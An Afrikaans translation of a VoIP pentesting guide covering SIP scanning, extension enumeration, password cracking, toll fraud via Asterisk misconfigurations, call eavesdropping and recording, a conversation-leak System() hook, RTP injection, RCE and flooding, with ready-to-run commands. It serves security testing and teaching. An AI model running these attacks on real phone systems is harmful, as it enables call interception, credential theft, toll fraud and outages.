Pentesting VoIP

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

VoIP Basiese Inligting

Om te begin leer oor hoe VoIP werk, kyk na:

pageBasic VoIP Protocols

VoIP Enumerasie

Telefoonnommers

Een van die eerste stappe wat 'n Rooi Span kan doen, is om beskikbare telefoonnommers te soek om met die maatskappy in kontak te tree deur gebruik te maak van OSINT-hulpmiddels, Google-soektogte of die skraping van webbladsye.

Sodra jy die telefoonnommers het, kan jy aanlyn dienste gebruik om die operateur te identifiseer:

Deur te weet of die operateur VoIP-dienste verskaf, kan jy identifiseer of die maatskappy VoIP gebruik... Verder is dit moontlik dat die maatskappy nie VoIP-dienste ingehuur het nie, maar PSTN-kaarte gebruik om sy eie VoIP PBX met die tradisionele telefoonnetwerk te verbind.

Dinge soos outomatiese reaksies van musiek dui gewoonlik daarop dat VoIP gebruik word.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT-inligting

Enige ander OSINT-navorsing wat help om die gebruikte VoIP-sagteware te identifiseer, sal nuttig wees vir 'n Rooi Span.

Netwerknavorsing

  • nmap is in staat om UDP-diens te skandeer, maar as gevolg van die hoeveelheid UDP-diens wat gescandeer word, is dit baie stadig en mag dit nie baie akkuraat wees met hierdie tipe dienste nie.

  • svmap van SIPVicious (sudo apt install sipvicious): Sal SIP-dienste in die aangeduide netwerk opspoor.

  • svmap is maklik om te blokkeer omdat dit die User-Agent friendly-scanner gebruik, maar jy kan die kode vanaf /usr/share/sipvicious/sipvicious wysig en dit verander.

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py van sippts: Sipscan is 'n baie vinnige skander vir SIP-dienste oor UDP, TCP of TLS. Dit maak gebruik van multithreading en kan groot reekse van netwerke skandeer. Dit maak dit maklik om 'n poortreeks aan te dui, beide TCP & UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer).

./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:

Metasploit is 'n kragtige raamwerk vir penetrasietoetse en aanvalle. Dit bied 'n verskeidenheid van gereedskap en hulpbronne vir die uitvoer van verskeie aanvalstegnieke. Metasploit maak gebruik van 'n databasis van bekende swakpunte en maak dit moontlik om vinnig en doeltreffend te soek na en uitbuiting van swakpunte in 'n teikenstelsel. Dit is 'n waardevolle hulpmiddel vir penetrasietoetsers en aanvallers wat hul vaardighede wil verbeter en netwerke wil binnedring.

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Ekstra Netwerk Enumerasie

Die PBX kan ook ander netwerkdienste blootstel, soos:

  • 69/UDP (TFTP): Firmware-opdaterings

  • 80 (HTTP) / 443 (HTTPS): Om die toestel vanaf die web te bestuur

  • 389 (LDAP): Alternatief om die gebruikersinligting te stoor

  • 3306 (MySQL): MySQL-databasis

  • 5038 (Bestuurder): Maak dit moontlik om Asterisk vanaf ander platforms te gebruik

  • 5222 (XMPP): Boodskappe met behulp van Jabber

  • 5432 (PostgreSQL): PostgreSQL-databasis

  • En ander...

Metodes Enumerasie

Dit is moontlik om watter metodes beskikbaar is om in die PBX te gebruik, te vind deur sipenumerate.py vanaf sippts te gebruik.

python3 sipenumerate.py -i 10.10.0.10 -r 5080

Uitbreidingsoptelling

Uitbreidings in 'n PBX (Private Branch Exchange) stelsel verwys na die unieke interne identifiseerders wat toegewys is aan individuele telefoonlyne, toestelle of gebruikers binne 'n organisasie of besigheid. Uitbreidings maak dit moontlik om oproepe binne die organisasie doeltreffend te roeteer, sonder die behoefte aan individuele eksterne telefoonnommers vir elke gebruiker of toestel.

  • svwar van SIPVicious (sudo apt install sipvicious): svwar is 'n gratis SIP PBX-uitbreidingslyn-skandeerder. In konsep werk dit soortgelyk aan tradisionele wardialers deur 'n reeks uitbreidings of 'n gegewe lys van uitbreidings te raai.

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py van sippts: Sipexten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerk- en poortreeks ondersoek.

python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: Jy kan ook uitbreidings/gebruikersname ondersoek met metasploit:

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX is 'n Inter Asterisk Exchange-protokol gebruikersnaam-brute-force enumerator. enumIAX kan in twee onderskeie modusse werk; Sekwensiële Gebruikersnaam Raaiwerk of Woordelysaanval.

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP Aanvalle

Wagwoord Brute-Force

Nadat die PBX en sommige uitbreidings/gebruikersname ontdek is, kan 'n Rooi Span probeer om te registreer via die REGISTER metode na 'n uitbreiding deur 'n woordeboek van algemene wagwoorde te gebruik om die outentifikasie te brute force.

Let daarop dat 'n gebruikersnaam dieselfde as die uitbreiding kan wees, maar hierdie praktyk kan wissel afhangende van die PBX-stelsel, sy konfigurasie en die voorkeure van die organisasie...

As die gebruikersnaam nie dieselfde as die uitbreiding is nie, sal jy die gebruikersnaam moet uitvind om dit te brute force.

  • svcrack van SIPVicious (sudo apt install sipvicious): SVCrack stel jou in staat om die wagwoord vir 'n spesifieke gebruikersnaam/uitbreiding op 'n PBX te kraak.

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py van sippts: SIP Digest Crack is 'n instrument om die digest-verifikasies binne die SIP-protokol te kraak.

python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP Sniffing

As jy VoIP-toerusting binne 'n Open Wifi-netwerk vind, kan jy alle inligting sniff. Verder, as jy binne 'n meer geslote netwerk is (verbind via Ethernet of beskermde Wifi), kan jy MitM-aanvalle uitvoer soos ARPspoofing tussen die PBX en die gateway om die inligting te sniff.

Onder die netwerkinligting kan jy weblegitimasie vind om die toerusting te bestuur, gebruiker uitbreidings, gebruikersnaam, IP-adresse, selfs gehashte wagwoorde en RTP-pakette wat jy kan reproduseer om die gesprek te hör, en meer.

Om hierdie inligting te kry, kan jy hulpmiddels soos Wireshark, tcpdump... gebruik, maar 'n spesiaal geskepte hulpmiddel om VoIP-gesprekke te sniff is ucsniff.

Let daarop dat as TLS in die SIP-kommunikasie gebruik word, sal jy nie die SIP-kommunikasie in duidelike teks kan sien nie. Dieselfde sal gebeur as SRTP en ZRTP gebruik word, RTP-pakette sal nie in duidelike teks wees nie.

SIP-legitimasie

Kyk hierdie voorbeeld om 'n SIP REGISTER-kommunikasie beter te verstaan om te leer hoe legitimasie gestuur word.

  • sipdump & sipcrack, deel van sipcrack (apt-get install sipcrack): Hierdie hulpmiddels kan digest-autentifikasies binne die SIP-protokol uit 'n pcap onttrek en bruteforce.

sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py van sippts:

  • SipTshark onttrek data van die SIP-protokol uit 'n PCAP-lêer.

  • SipDump Onttrek SIP Digest-verifikasies uit 'n PCAP-lêer.

  • SIP Digest Crack is 'n hulpmiddel om die digest-verifikasies binne die SIP-protokol te kraak.

python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

DTMF-kodes

Nie net SIP-legitimasie kan in die netwerkverkeer gevind word nie, dit is ook moontlik om DTMF-kodes te vind wat byvoorbeeld gebruik word om toegang tot die voicemail te verkry. Dit is moontlik om hierdie kodes in INFO SIP-boodskappe, in klank of binne RTP-pakkies te stuur. As die kodes binne RTP-pakkies is, kan jy daardie deel van die gesprek afsny en die multimo-hulpmiddel gebruik om hulle uit te trek:

multimon -a DTMF -t wac pin.wav

Gratis Oproepe / Asterisk Verbindingsmisconfiguraties

In Asterisk is dit moontlik om 'n verbinding toe te laat vanaf 'n spesifieke IP-adres of vanaf enige IP-adres:

host=10.10.10.10
host=dynamic

As 'n IP-adres gespesifiseer word, sal die gasheer nie nodig hê om REGISTER-aanvrae gereeld te stuur nie (in die REGISTER-pakket word die tyd tot lewe gestuur, gewoonlik 30 minute, wat beteken dat die foon in 'n ander scenario elke 30 minute moet REGISTER). Tog sal dit oop poorte moet hê wat verbinding vanaf die VoIP-bediener toelaat om oproepe te ontvang.

Om gebruikers te definieer, kan hulle as volg gedefinieer word:

  • type=user: Die gebruiker kan slegs oproepe ontvang as gebruiker.

  • type=friend: Dit is moontlik om oproepe uit te voer as eweknie en om dit as gebruiker te ontvang (gebruik met uitbreidings)

  • type=peer: Dit is moontlik om oproepe as eweknie te stuur en te ontvang (SIP-trunks)

Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike:

  • insecure=port: Laat eweknieverbindings toe wat deur IP geverifieer word.

  • insecure=invite: Vereis nie outentifikasie vir INVITE-boodskappe nie

  • insecure=port,invite: Beide

Wanneer type=friend gebruik word, sal die waarde van die host veranderlike nie gebruik word nie, so as 'n administrateur 'n SIP-trunk verkeerd konfigureer deur daardie waarde te gebruik, sal enigiemand daaraan kan koppel.

Byvoorbeeld, hierdie konfigurasie sou kwesbaar wees: host=10.10.10.10 insecure=port,invite type=friend

Gratis Oproepe / Asterisk Konteks Verkeerde Konfigurasies

In Asterisk is 'n konteks 'n benoemde houer of afdeling in die kiesplan wat verwante uitbreidings, aksies en reëls groepeer. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit bepaal hoe inkomende en uitgaande oproepe hanteer en gerouteer word. Kontekste word gebruik om die kiesplan te organiseer, toegangsbeheer te bestuur en skeiding tussen verskillende dele van die stelsel te bied.

Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die extensions.conf-lêer. Kontekste word aangedui deur vierkante hakies, met die konteksnaam daarin ingesluit. Byvoorbeeld:

csharpCopy code[my_context]

Binne die konteks, definieer jy uitbreidings (patrone van gekiesde nommers) en assosieer hulle met 'n reeks aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Hierdie voorbeeld demonstreer 'n eenvoudige konteks genaamd "my_context" met 'n uitbreiding "100". Wanneer iemand 100 kies, sal die oproep beantwoord word, 'n welkom boodskap sal gespeel word, en dan sal die oproep beëindig word.

Dit is 'n ander konteks wat toelaat om na enige ander nommer te bel:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

As die admin die verstek konteks definieer as:

[default]
include => my_context
include => external

Enige persoon sal in staat wees om die bediener te gebruik om na enige ander nommer te bel (en die administrateur van die bediener sal vir die oproep betaal).

Verder bevat die sip.conf lêer standaard allowguest=true, dan sal enige aanvaller sonder enige verifikasie in staat wees om na enige ander nommer te bel.

  • sipinvite.py van sippts: Sipinvite kyk of 'n PBX-bedieners ons toelaat om oproepe sonder verifikasie te maak. As die SIP-bediener 'n verkeerde konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ons ook toelaat om die oproep na 'n tweede eksterne nommer oor te dra.

Byvoorbeeld, as jou Asterisk-bediener 'n slegte konteks-konfigurasie het, kan jy INVITE-versoeke sonder outorisasie aanvaar. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruikersnaam/wagwoord te weet.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

Gratis oproepe / Verkeerd gekonfigureerde IVRS

IVRS staan vir Interaktiewe Stem Antwoordstelsel, 'n telefoonstegnologie wat gebruikers in staat stel om met 'n gerekenariseerde stelsel te kommunikeer deur middel van stem- of toets-tone insette. IVRS word gebruik om outomatiese oproephantering-stelsels te bou wat 'n verskeidenheid funksies bied, soos die voorsiening van inligting, roetes van oproepe en die vaslegging van gebruikersinsette.

IVRS in VoIP-stelsels bestaan tipies uit:

  1. Stemopdragte: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu-opsies en instruksies lei.

  2. DTMF (Dual-Tone Multi-Frequency) seinering: Toets-tone insette wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menus te navigeer en insette te verskaf.

  3. Oproeproetes: Oproepe rig na die toepaslike bestemming, soos spesifieke departemente, agente of uitbreidings gebaseer op gebruikersinsette.

  4. Gebruikersinsetvaslegging: Inligting van oproepers versamel, soos rekeningnommers, saak-ID's of enige ander relevante data.

  5. Integrasie met eksterne stelsels: Die IVR-stelsel verbind met databasisse of ander sagtewarestelsels om toegang tot of opdatering van inligting, uitvoering van aksies of aktivering van gebeure te verkry.

In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep deur die kiesplan (extensions.conf-lêer) en verskeie toepassings soos Background(), Playback(), Read() en meer te gebruik. Hierdie toepassings help jou om stemopdragte af te speel, gebruikersinsette vas te lê en die oproepvloei te beheer.

Voorbeeld van 'n kwesbare konfigurasie

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Die vorige is 'n voorbeeld waar die gebruiker gevra word om 1 te druk om 'n afdeling te bel, 2 om 'n ander een te bel, of die volledige uitbreiding as hy dit weet. Die kwesbaarheid is die feit dat die aangeduide uitbreidingslengte nie nagegaan word nie, sodat 'n gebruiker 'n volledige nommer kan invoer en dit sal bel.

Uitbreiding Inspruiting

Deur 'n uitbreiding soos:

exten => _X.,1,Dial(SIP/${EXTEN})

Waar ${EXTEN} die uitbreiding is wat sal word opgeroep, wanneer die ext 101 ingevoer word, is dit wat sou gebeur:

exten => 101,1,Dial(SIP/101)

Echter, as ${EXTEN} toelaat om meer as net nommers in te voer (soos in ouer Asterisk-weergawes), kan 'n aanvaller 101&SIP123123123 invoer om die telefoonnommer 123123123 te bel. En dit sal die resultaat wees:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Daarom sal 'n oproep na die uitbreiding 101 en 123123123 gestuur word en slegs die eerste een wat die oproep ontvang, sal gevestig word... maar as 'n aanvaller 'n uitbreiding gebruik wat enige ooreenstemming omseil wat uitgevoer word maar nie bestaan nie, kan hy 'n oproep slegs na die gewenste nommer inspuit.

SIPDigestLeak

Die SIP Digest-lek is 'n kwesbaarheid wat 'n groot aantal SIP-telefone affekteer, insluitend beide hardeware- en sagteware-IP-telefone, sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid maak dit moontlik dat die Digest-verifikasierespons uitgelek word, wat bereken word uit die wagwoord. 'n Aanval op die wagwoord in 'n aflyn-omgewing is dan moontlik en kan die meeste wagwoorde herstel op grond van die uitdagingrespons.

**Kwesbaarheidscenario vanaf hier**:

  1. 'n IP-telefoon (slagoffer) luister op poort 5060 en aanvaar telefoonoproepe

  2. Die aanvaller stuur 'n INVITE na die IP-telefoon

  3. Die slagoffer-telefoon begin lui en iemand neem op en hou op (omdat niemand die telefoon aan die ander kant antwoord nie)

  4. Wanneer die telefoon neergesit word, stuur die slagoffer-telefoon 'n BYE na die aanvaller

  5. Die aanvaller stuur 'n 407-respons wat verifikasie vereis en gee 'n verifikasie-uitdaging

  6. Die slagoffer-telefoon verskaf 'n respons op die verifikasie-uitdaging in 'n tweede BYE

  7. Die aanvaller kan dan 'n brute-krag-aanval op die uitdagingrespons uitvoer op sy plaaslike masjien (of verspreide netwerk ens.) en die wagwoord raai

  • sipdigestleak.py vanaf sippts: SipDigestLeak maak gebruik van hierdie kwesbaarheid.

python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Klik2Bel

Klik2Bel stel 'n webgebruiker (wat byvoorbeeld belangstel in 'n produk) in staat om sy telefoonnommer in te voer om gebel te word. Dan sal 'n handelaar gebel word, en wanneer hy die telefoon opneem, sal die gebruiker gebels en gekoppel word met die agent.

'n Gewone Asterisk-profiel hiervoor is:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Die vorige profiel laat ENIGE IP-adres toe om te verbind (as die wagwoord bekend is).

  • Om 'n oproep te reël, soos voorheen gespesifiseer, is geen leesregte nodig en slegs oorsprong in skryf is nodig.

Met daardie regte kan enige IP-adres wat die wagwoord ken, verbind en te veel inligting onttrek, soos:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

Meer inligting of aksies kan versoek word.

Afluistering

In Asterisk is dit moontlik om die opdrag ChanSpy te gebruik om die uitbreiding(e) wat gemonitor moet word (of almal) aan te dui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet toegewys word aan 'n uitbreiding.

Byvoorbeeld, exten => 333,1,ChanSpy('all',qb) dui aan dat as jy die uitbreiding 333 bel, dit sal monitor all die uitbreidings, begin luister wanneer 'n nuwe gesprek begin (b) in stilte modus (q) aangesien ons nie daarmee wil interaksie hê nie. Jy kan van die een gesprek na die ander gaan deur op * te druk, of deur die uitbreidingsnommer te merk.

Dit is ook moontlik om ExtenSpy te gebruik om slegs een uitbreiding te monitor.

In plaas van om die gesprekke te beluister, is dit moontlik om hulle in lêers op te neem deur 'n uitbreiding soos die volgende te gebruik:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

Oproepe sal gestoor word in /tmp.

Jy kan selfs Asterisk laat 'n skripsie uitvoer wat die oproep sal uitlek wanneer dit gesluit word.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed is 'n groot veiligheidsprobleem wat Asterisk-gebaseerde VoIP-bedieners affekteer (gepubliseer in 2017). Die kwesbaarheid maak dit moontlik vir RTP (Real Time Protocol) verkeer, wat VoIP-gesprekke dra, om deur enigiemand op die internet onderskep en omgelei te word. Dit gebeur omdat RTP-verkeer verificasie omseil wanneer dit deur NAT (Network Address Translation) vuurmuure navigeer.

RTP-proksi's probeer NAT-beperkings wat RTC-stelsels affekteer, aanspreek deur RTP-strome tussen twee of meer partye te proksiëer. Wanneer NAT in plek is, kan die RTP-proksi sagteware dikwels nie staatmaak op die RTP-IP- en poortinligting wat deur signalering (bv. SIP) verkry word nie. Daarom het 'n aantal RTP-proksi's 'n meganisme geïmplementeer waar die IP- en poorttuplet outomaties geleer word. Dit word dikwels gedoen deur inkomende RTP-verkeer te ondersoek en die bron-IP en -poort vir enige inkomende RTP-verkeer te merk as die een waarop geantwoord moet word. Hierdie meganisme, wat "leermodus" genoem kan word, maak geen gebruik van enige vorm van verifikasie nie. Daarom kan aanvallers RTP-verkeer na die RTP-proksi stuur en die geproksiëerde RTP-verkeer ontvang wat bedoel is vir die oproeper of ontvanger van 'n aan die gang RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers in staat stel om RTP-media-strome te ontvang wat bedoel is om na wettige gebruikers gestuur te word.

'n Ander interessante gedrag van RTP-proksi's en RTP-stapel is dat hulle soms, selfs as hulle nie vatbaar is vir RTP Bleed nie, RTP-pakette van enige bron sal aanvaar, deurstuur en/of verwerk. Daarom kan aanvallers RTP-pakette stuur wat dit vir hulle moontlik maak om hul media in te spuit in plaas van die wettige een. Ons noem hierdie aanval RTP-injectie omdat dit die inspuiting van onwettige RTP-pakette in bestaande RTP-strome moontlik maak. Hierdie kwesbaarheid kan in beide RTP-proksi's en eindpunte gevind word.

Asterisk en FreePBX het tradisioneel die NAT=yes-instelling gebruik, wat RTP-verkeer in staat stel om verifikasie te omseil, wat moontlik lei tot geen klank of eenrigtingklank in oproepe.

Vir meer inligting, besoek https://www.rtpbleed.com/

  • rtpbleed.py van sippts: Dit ontdek die RTP Bleed-kwesbaarheid deur RTP-strome te stuur.

python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py van sippts: Dit ontdek die RTP Bloei kwesbaarheid deur RTP strome te stuur.

python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py van sippts: Exploiteer die RTP Bleed kwesbaarheid deur RTP strome te stuur.

python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py van sippts: Exploiteer die RTP Bleed kwesbaarheid deur RTP-strome te stuur (vanuit 'n klanklêer)

python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

In Asterisk slaag jy op een of ander manier daarin om uitbreidingsreëls by te voeg en hulle te herlaai (byvoorbeeld deur 'n kwesbare webbestuurderbediener te kompromitteer), is dit moontlik om RCE te kry deur die System-opdrag te gebruik.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Daar is 'n bevel genaamd Shell wat gebruik kan word in plaas van System om stelselopdragte uit te voer indien nodig.

As die bediener die gebruik van sekere karakters in die System-opdrag verbied (soos in Elastix), kyk of die webbediener toelaat om op een of ander manier lêers binne die stelsel te skep (soos in Elastix of trixbox), en gebruik dit om 'n agterdeur-skripsie te skep en gebruik dan System om daardie skripsie uit te voer.

Interessante plaaslike lêers en regte

  • sip.conf -> Bevat die wagwoord van SIP-gebruikers.

  • As die Asterisk-bedieners as root uitgevoer word, kan jy root kompromitteer.

  • Die mysql root-gebruiker het moontlik geen wagwoord nie.

  • Dit kan gebruik word om 'n nuwe mysql-gebruiker as agterdeur te skep.

  • FreePBX

  • amportal.conf -> Bevat die wagwoord van die webpaneel-administrateur (FreePBX)

  • FreePBX.conf -> Bevat die wagwoord van die gebruiker FreePBXuser wat gebruik word om toegang tot die databasis te verkry

  • Dit kan gebruik word om 'n nuwe mysql-gebruiker as agterdeur te skep.

  • Elastix

  • Elastix.conf -> Bevat verskeie wagwoorde in duidelike teks, soos mysql root-wagwoord, IMAPd-wagwoord, web-admin-wagwoord

  • Verskeie lêers sal aan die gekompromitteerde asterisk-gebruiker behoort (as dit nie as root uitgevoer word nie). Hierdie gebruiker kan die vorige lêers lees en beheer ook die konfigurasie, sodat hy Asterisk kan dwing om ander agterdeur-binêre lêers te laai wanneer dit uitgevoer word.

RTP-injeksie

Dit is moontlik om 'n .wav in gesprekke in te voeg deur gebruik te maak van hulpmiddels soos rtpinsertsound (sudo apt install rtpinsertsound) en rtpmixsound (sudo apt install rtpmixsound).

Of jy kan die skripsies van http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ gebruik om gesprekke te skandeer (rtpscan.pl), 'n .wav na 'n gesprek te stuur (rtpsend.pl) en geraas in 'n gesprek in te voeg (rtpflood.pl).

DoS

Daar is verskeie maniere om DoS in VoIP-bedieners te probeer bereik.

  • sipflood.py van sippts: _SipFlood_ stuur onbeperkte boodskappe na die teiken

  • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v

  • IAXFlooder: DoS IAX-protokol wat deur Asterisk gebruik word

  • inviteflood: 'n Hulpmiddel om SIP/SDP INVITE-boodskappe oor UDP/IP te oorstroming.

  • rtpflood: Stuur verskeie korrek geformuleerde RTP-pakkies. Dit is nodig om die RTP-poorte wat gebruik word, te ken (snuffel eers).

  • SIPp: Maak dit moontlik om SIP-verkeer te analiseer en te genereer. Dit kan ook gebruik word vir DoS.

  • SIPsak: SIP Swiss Army Knife. Kan ook gebruik word vir SIP-aanvalle.

  • Fuzzers: protos-sip, voiper.

  • sipsend.py van sippts: SIPSend stel ons in staat om 'n aangepaste SIP-boodskap te stuur en die respons te analiseer.

  • wssend.py van sippts: WsSend stel ons in staat om 'n aangepaste SIP-boodskap oor WebSockets te stuur en die respons te analiseer.

Bedryfstelselkwesbaarhede

Die maklikste manier om sagteware soos Asterisk te installeer, is om 'n bedryfstelselverspreiding af te laai wat dit reeds geïnstalleer het, soos: FreePBX, Elastix, Trixbox... Die probleem met hierdie verspreidings is dat sodra dit werk, stelseladministrateurs dit dalk nie weer opdateer nie en kwesbaarhede met tyd ontdek sal word.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated